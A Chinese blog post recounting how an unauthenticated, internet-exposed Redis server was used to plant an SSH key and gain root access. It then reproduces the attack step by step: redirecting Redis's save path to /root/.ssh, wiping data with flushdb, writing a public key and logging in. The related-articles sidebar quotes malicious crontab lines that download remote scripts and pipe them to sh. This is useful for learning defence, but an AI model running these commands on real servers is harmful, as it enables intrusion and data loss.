服务器被黑，帮凶竟然是Redis

最新推荐文章于 2024-04-24 21:30:40 发布
最新推荐文章于 2024-04-24 21:30:40 发布
阅读量581 收藏 4
点赞数 3
文章标签： java ssh linux
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/HouXinLin_CSDN/article/details/106516551
版权

一、经过

就在昨天，我像往常一样连接到一台云服务器中的Redis进行学习，当我执行keys *查看所有键的时候，却发现返回了(empty array)，也就是代表没有任何数据在Redis中，可是Redis我也并没有手动停止过（没配置过持久化，也就是重启后数据就会消失），也保证没有执行过flushdb清空数据，可数据怎么就没了呢？这让我很是好奇。

这没理由啊，后来在我的/usr/app目录下发现了一个readme.txt。
在这里插入图片描述
我记得我并没有创建过这个文件，于是通过vim打开他，此时我一脸小朋友问号。
在这里插入图片描述
让黑了？？？

这是我的第一反应，因为这个文件真的不是我创建的，但是我并没有相关经验去排查，一时间不知如何是好，但是要摸索啊。

仔细一想，要创建此文件，我知道的有三种办法，第一种，通过ssh连接到我的服务器，进入/usr/app，执行touch readme.txt，然后通过vim进行编辑，第二种，通过scp命令上传，第三种，通过第三方工具连接到我的服务器进行上传，如XFtp、FileZilla，但是这三种，都需要密码，但是我的密码也足够复杂，不太可能。

紧接着我通过last 命令查看最近用户的登录信息，结果发现，在前天晚上22:15确实有人登录过，也就是6月1日，共操作了18分钟，进行了不可描述的事情。

root@iZbp1brrrx37m2ijwcg751Z:~# last
root     pts/1        120.193.XX.XX  Wed Jun  3 09:11   still logged in
root     pts/1        120.193.XX.XX  Wed Jun  3 09:09 - 09:10  (00:00)
root     pts/2        120.193.XX.XX  Wed Jun  3 08:41 - 08:41  (00:00)
......

root     pts/0        101.206.XX.XX  Mon Jun  1 22:15 - 22:33  (00:18)

那他是怎么知道我密码的呢？于是又通过lastb命令查看登入系统失败用户的相关信息，但是从这个列表中并没有发现在6月1有尝试登录的用户。这就更好奇了，这是一次性把密码输对了？没道理啊。

接着我脑子有点蒙。

但是突然想到ssh还可以使用公钥进行登录，那在目录/root/.ssh/authorized_keys中必然有他生成的公钥信息，接着赶紧去查看了一下。

这一看不知道，看了就头皮发麻，确实存在一个，这样他就可以直接通过ssh root@XX.XX.XX.XX免密码登录，但是他是怎么把公钥放入到authorized_keys文件的呢？

牛！！！

二、原因

后来排查了我对外开发的端口，除了80端口，供Nginx使用，还有就是Redis的6379，Nginx也不太可能啊，莫非是Redis？

由于Redis我并没有设置密码，只要知道我服务器IP的人，都可以进行连接。那Redis有什么办法可以把他的公钥保存到authorized_keys文件中呢？这又是一个问题。

突然想到save命令，他可以生成一个文件，文件中是当前内存中的数据快照，并且，这个文件可以自定义名称，恩～～～有点眉目了。但是save后生成的文件路径并不在/root/.ssh下啊，并且Redis也没有命令可以移动文件，除非Redis可以指定生成的路径。

对，没错！！Redis当然可以指定生成的路径，当即就查看了下Redis的配置。

没想到头皮又一阵发麻，这两个配置确实被改过。

那是不是这样呢？首先入侵者通过连接到Redis，之后set key 公钥，接着通过config命令修改了dir和dbfilename的值，save命令保存后，通过ssh命令直接可以免密码登录，之后他分析了我常用的目录，发现/usr/app下有我经常上传的软件，通过touch、vim进行编辑txt，留下一句，我轻轻的来，又轻轻的走了，希望真的是轻轻的走了，没搞什么吧。

这一顿操作着实骚气。

三、实战演练

既然知道了作案手法，那就来验证一下，是不是这样。

  1. 服务器启动Redis
    首先服务器中的Redis得开启，并且对外开放6379这个端口。
  2. 入侵者连接Redis
    通过./redis-cli -h ip连接到Redis
  3. 配置dir和dbfilename
xx.xx.xx.xx:6379> config set dir /root/.ssh
OK
xx.xx.xx.xx:6379> config set dbfilename authorized_keys
OK
xx.xx.xx.xx:6379> flushdb

此时通过save命令即可在/root/.ssh下生成authorized_keys文件。

  1. 生成公钥
    可以通过ssh-keygen命令 生成，运行后连续三次回车即可。
root@hxl-PC:/home/HouXinLin/apps/redis# ssh-keygen 
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa): 
/root/.ssh/id_rsa already exists.
Overwrite (y/n)? y
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /root/.ssh/id_rsa.
Your public key has been saved in /root/.ssh/id_rsa.pub.
The key fingerprint is:
SHA256:/SWDhF8ONl1PPGkJSDx3YYdpiz5JTNks7vw7ecmeML0 root@hxl-PC
The key's randomart image is:
+---[RSA 2048]----+
|          o..=o**|
|         . =+oBOo|
|        . =+=+o.o|
|         = *= .  |
|        S +=+..  |
|           .*+.  |
|            .=.o.|
|              *o+|
|              oE |
+----[SHA256]-----+

之后在/root/.ssh/目录下就会生成两个文件id_rsa和id_rsa.pub，第一个是私钥，第二个是公钥。id_rsa.pub中的数据就是要保存在Redis中的数据。

root@hxl-PC:/home/HouXinLin/apps/redis# cd /root/.ssh/
root@hxl-PC:~/.ssh# ls
id_rsa	id_rsa.pub  known_hosts
root@hxl-PC:~/.ssh#

但是此时还有最重要的一步，在id_rsa.pub文件中前面加两个空行！！！。
在这里插入图片描述
6. 利用Redis把公钥保存到authorized_keys中
由于公钥中包含空格，不可以直接使用set key 公钥进行设置，可以通过以下方式进行

root@hxl-PC:~/.ssh# cat id_rsa.pub | /home/HouXinLin/apps/redis/redis-6.0.4/src/./redis-cli -h ip -x set cer
OK

最后一步，保存。

xx.xx.xx.xx:6379> get cer
"\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCcJFbioqs97WvFFoC3g1LECDII+IK6fWwSDQpr26itOSsnh6d2b4LDt66b6IU6EbbsXtTBuV/QrjdDFyFWPDlFSobDQNUW6K9iY47WqG37sR9XknYtXpTIniHazbH6prloa2qJpI/tHyoXnJi5gq8G3qCWtNrleVqaX0zDgWN+1mZlGmUc/FqhCWiGHeOWr01x7AFtp1UzYiJyMDQo4V1yHnXqE2JaJKwXU1jVwfYuS94qeB1Vcxn75dGQSroS3+h2UyvrArkE4WRF8JphQrvk6KtWNHN1VCKGQ57Unj67+jS/FQOV3CFygDMHZkEPJ1XHmMA0crXRo22TPYd6FOiN root@hxl-PC\n"
xx.xx.xx.xx:6379> save
OK
  1. ssh连接
    此时无需要密码，连接后可以”为所欲为“。
root@hxl-PC:~/.ssh# ssh ip
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-72-generic x86_64)

* Documentation:  https://help.ubuntu.com
* Management:     https://landscape.canonical.com
* Support:        https://ubuntu.com/advantage

* MicroK8s gets a native Windows installer and command-line integration.

    https://ubuntu.com/blog/microk8s-installers-windows-and-macos

* Canonical Livepatch is available for installation.
  - Reduce system reboots and improve kernel security. Activate at:
    https://ubuntu.com/livepatch

Welcome to Alibaba Cloud Elastic Compute Service !

root@iZbp1brrrx37m2ijwcg751Z:~#

没想到服务器就这样被黑了吧？对外开发的东西一定要小心，不说了，改Redis密码去。

以上纯属虚构，如有雷同，纯属巧合。

HouXinLin_CSDN
关注
  • 3
    点赞
  • 踩
  • 4
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
记一次云服务器因redis漏洞被黑
m0_46435741的博客
11-21 1811
您所使用的设备（IP：***）存在对其他服务器端口（TCP：6379）的攻击行为 大晚上的，在床上躺着，突然腾讯云给我发个消息和邮件，如下： 吓我一跳，定睛一看，端口6379，不是radis的默认端口吗？前些阵子写项目就用自己的服务器搭了一个radis服务器，不会被黑了吧？百般纳闷，反正说是24小时内，不管，先睡觉 早上爬起来，想用Xshell登录一下服务器看看，结果死活登不上，再在控制台看看，结果还是登不上，心想：完了，不会真被黑了吧？用腾讯云自动实例检测，提示CPU近期占有率高达92%，但是我在服务
记一次Redis被入侵（被黑）处理过程
nelson的博客
05-22 3198
通常作为一名后端程序员，并没有系统的学习过关于服务器安防相关的知识，遇到服务器被黑的情况往往比较迷茫，不知道从何下手。服务器可能遭受的攻击多种多样，以下主要讲述的是我本次遇到的一次服务器被黑客拿来当矿机的处理过程。 攻击的发现 之所以发现服务器被攻击了是因为有用户反馈系统卡顿非常严重，我知道一般用户反馈描述的那个时间点不应该会有这么高的延迟的，所以就登录服务器查看以下CPU等资源的消耗情况。（挖矿...
记录第一次云服务器redis被黑
m0_73520938的博客
04-24 194
redis里莫名奇妙被写入四个键值对，backup1,backup2,backup3,backup4，内容是奇奇怪怪的sh脚本：*/5 * * * * root wd1 -q -O- http://45.83.123.29/cleanfda/init.sh | sh。施展百度大法后发现原来被挖矿了.....（redis明明设置了密码.....）解决办法：设置更复杂的redis连接密码，安全组，防火墙。
由于Redis漏洞导致服务器被黑
weixin_30552811的博客
11-15 141
原文地址 漏洞描述 Redis默认情况下，会绑定在0.0.0.0:6379，这样将会将Redis服务暴露到公网上，如果在没有开启认证的情况下，可以导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。攻击者在未授权访问Redis的情况下可以利用Redis的相关方法，可以成功在Redis服务器上写入公钥，进而可以使用对应私钥直接登录目标服务器。 Redis未授权...
Redis导致Linux服务器中病毒、成肉鸡了。
DreamLLOver的专栏
05-16 1584
前段时间，我们Linux服务器中病毒了，变成别人的肉鸡，不停的在攻击其他服务器。 根据我的调查发现，这台服务器不停的在攻击同网段的其他服务器。 根据判断，得出应该有个进程或者JOB在执行，后来发现是linux中crontab出现了问题 该JOB定时去https://pastebin.com网站上获取东西，查出是一个程序： 经过调查后得出，原来是redis未做安全限制以及用默...
Redis服务器
09-29
redis 免安装版 直接可以运行在windows端。。
连接Redis服务器 在使用Redis之前，首先需要使用redis-cli工具连接到Redis服务器 redis-cli是Re
最新发布
06-08
redis命令实践 连接Redis服务器 在使用Redis之前，首先需要使用redis-cli工具连接到Redis服务器。redis-cli是Redis的命令行界面工具。 redis-cli -h <hostname> -p <port> -a -h：指定Redis服务器的主机名或IP地址...
连接Redis服务器 在使用Redis之前，首先需要使用redis-cli工具连接到Redis服务器 redis-cli是Red
06-08
redis命令实践 连接Redis服务器 在使用Redis之前，首先需要使用redis-cli工具连接到Redis服务器。redis-cli是Redis的命令行界面工具。 redis-cli -h <hostname> -p <port> -a -h：指定Redis服务器的主机名或IP地址...
Redis 服务器
03-06
redis windows免安装版本解压运行 redis-server.exe就可以连接redis使用
Redis配置错误导致主机被黑
若鱼的专栏
04-16 1605
现象以及如何处理参考：http://blog.51cto.com/hld1992/2047658公司有台做voip的服务器最近CPU总是跑满，这机器自从交给厂家搭好环境后基本就没怎么管它，于是进去查看进程，top了下（见下图）这个叫wnTKYg的进程很诡异，已经把CPU吃光了，上网一查，原来是中了挖矿的马。（啊，我的天。这只是一个单核1G内存的阿里云主机）既然被入侵了，那就得干掉它，下面是解决过程...
redis被黑客入侵
程序员陆通
02-12 1472
[root@iZ112fail84Z home]# redis-cli 127.0.0.1:6379> keys * 1) “crackit” 127.0.0.1:6379> get crackit “\n\n\n*/5 * * * * /usr/bin/curl -fsSL http://sx.doiton.tk/test.sh | sh\n\n\n\n”这个程序每5分钟执行一个shell
记一次阿里云esc实例被黑客利用redis默认端口6379入侵变成肉鸡的悲惨经历
qq_38423798的博客
04-11 4677
首先声明：因为刚入手实例，网站还在申请中。故只是搭建个redis集群供远程测试调用方便而已。因为机器上并没有项目和其他东西，为了方便redis使用的默认端口。最重要的是：配置文件中bind：标签并没有绑定ip，并且redis访问设置并没有设置密码，这就是悲剧的开始。        4月10号阿里云发邮件称服务器实例通过6379端口向外发出ddos攻击，我心里猜测应该就是通过redis被黑了。登录实...
记一次阿里云上Redis服务器被入侵的经历
qq_25968703的博客
06-02 3678
欢迎使用Markdown编辑器写博客本Markdown编辑器使用StackEdit修改而来，用它写博客，将会带来全新的体验哦： Markdown和扩展Markdown简洁的语法 代码块高亮 图片链接和图片上传 LaTex数学公式 UML序列图和流程图 离线写博客 导入导出Markdown文件 丰富的快捷键 快捷键 加粗 Ctrl + B 斜体 Ctrl + I 引用 Ctrl
记一次服务器被植入挖矿木马cpu飙升200%解决过程
weixin_33736048的博客
03-29 1072
2019独角兽企业重金招聘Python工程师标准>>> ...
利用Redis配置漏洞黑进linux服务器（被黑过一次，特出此警告贴）
weixin_43783160的博客
11-24 455
参考博客： http://www.zhoulingjie.com/archives/1140 漏洞描述 1、借助 redis 内置命令，可以对现有数据进行恶意清空 2、 如果 redis 以root身份运行，可往服务器上写入SSH公钥文件，直接登录服务器 漏洞原理 如果redis端口对外网开放，且未配置安全密码访问（或泄露）； 当 redis 以root用户身份运行时，就可以借助链接到redis，通过redis内置命令修改 dir和 dbfilename 从而可往服务器的任何位置写入任何内容的文件，当
安装redis后，系统异常，被黑客攻击入侵
BecauseOfYouIKnew的博客
03-22 2716
如果你的系统在安装redis后，同时在使用默认redis配置文件的情况下，系统发生异常，那你就应该去查看你的/root/.ssh/authorized_keys的文件，如果出现类似代码：说明你的系统被黑客通过redis入侵了，`REDIS0006þ^@^@^GcrackitA<90>ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDao4L1Hk/El05qbO5NeBA
记一次Redis数据库漏洞被入侵现象
java、c++、机器学习方向King
03-21 6455
服务器状态：为了便于研发，把公司购买的云服务器上的一台内网服务器，主要目的是，把开放服务器上的Redis数据库服务，便于相关研发人员调用使用。出现的现象问题：CPU基本满负荷（估计是被当做肉鸡），出现SSH登录不上服务器的情况。挂了电话后我就登上了阿里云账号，看了一下自己Mem和CPU的使用状况，Mem倒没撒，CPU确实一直是一条直线,一直是百分之百。后来我就看了ps -aux看了进程cpu和内存...
linux服务器安全—— 一次redis攻击的遭遇
小木头的专栏
02-04 1417
笔者在写这篇文章的时候，个人的服务器正在遭受攻击，为了避免更多的人被坑，笔者淡定地边处理边写下这篇博客，希望可以帮助到大家！   环境： ubuntu16.04.1 云服务器 redis 部署于tomcat上的个人应用   背景： 查看服务器状态时，发现redis用户的cpu使用率过高，打开redis日志，发现大量如下信息： [10167] 04 Feb 19:05:20.065 * 1 cha...
redis缓存服务器是干什么的？
05-19
Redis缓存服务器是一种内存数据存储系统，它可以用来缓存数据并提供快速访问。它是一个开源的持久化数据结构服务器，可以用作数据库、缓存和消息中间件。Redis支持多种数据结构，包括字符串、哈希、列表、集合、有序...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值